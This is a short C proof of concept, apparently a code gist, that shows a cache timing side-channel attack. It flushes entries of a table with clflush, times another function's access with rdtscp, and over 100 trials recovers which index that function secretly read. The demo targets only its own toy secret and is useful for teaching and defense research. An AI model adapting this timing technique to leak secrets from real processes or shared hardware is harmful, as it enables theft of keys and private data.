Simple cache side channel attack, using a mixture of EVICT+TIME and the CLFLUSH instruction (FLUSH+TIME?)

simple_cache_side_channel.c

#include <stdio.h>
#include <stdint.h>
#include <inttypes.h>
#define SECRET 34
#define MAXSECRET 64

char table[MAXSECRET*64];

void secretfunction(void){
    char value=table[SECRET*64];
}

int64_t timeguess(int guess){
    uint64_t oldtsc,newtsc;
    asm volatile(
        "clflush (%0);" //flush address from cache
        "mfence;" //make sure no prior memory operations get in the way
        "rdtscp;" //read timestamp into edx:eax
        "shl $32,%%rdx;"
        "or %%rdx,%%rax;" //combine output in rax
        :"=a"(oldtsc) //output of tsc
        :"r"(&table[guess*64]) //parameter for clflush
        :"%rcx","%rdx" //clobbered
    );
    secretfunction();
    asm volatile(
        "mfence;" //make sure operation is complete
        "rdtscp;"
        "shl $32,%%rdx;"
        "or %%rdx,%%rax;" //read timestamp, store in rax
        :"=a"(newtsc) //output of tsc
        : //no input
        :"%rcx","%rdx" //clobbered
    );
    //printf("Time difference for secret %d: %" PRIu64 "\n",guess,newtsc-oldtsc);
    return newtsc-oldtsc;
}

int findsecret(){
    uint64_t maxdiff=0, sum=0;
    int likelysecret=-1;
    for(int i=0;i<MAXSECRET;i++){
        uint64_t diff=timeguess(i);
        sum+=diff;
        if(maxdiff<diff){
            maxdiff=diff;
            likelysecret=i;
        }
    }
    printf("Most likely secret is %d, with a time difference of %" PRIu64 ", compared to the average of %" PRIu64 "\n",likelysecret,maxdiff,sum/MAXSECRET);
    return likelysecret;
}

int main(){
    int secrets[MAXSECRET]={0};
    for(int i=0;i<100;i++){
        secrets[findsecret()]++;
    }
    int likelysecret=0;
    for(int i=0;i<MAXSECRET;i++){
        if(secrets[likelysecret]<secrets[i])
            likelysecret=i;
    }
    printf("Final guess: %d, with %d out of 100 trials confirming it\n",likelysecret,secrets[likelysecret]);
}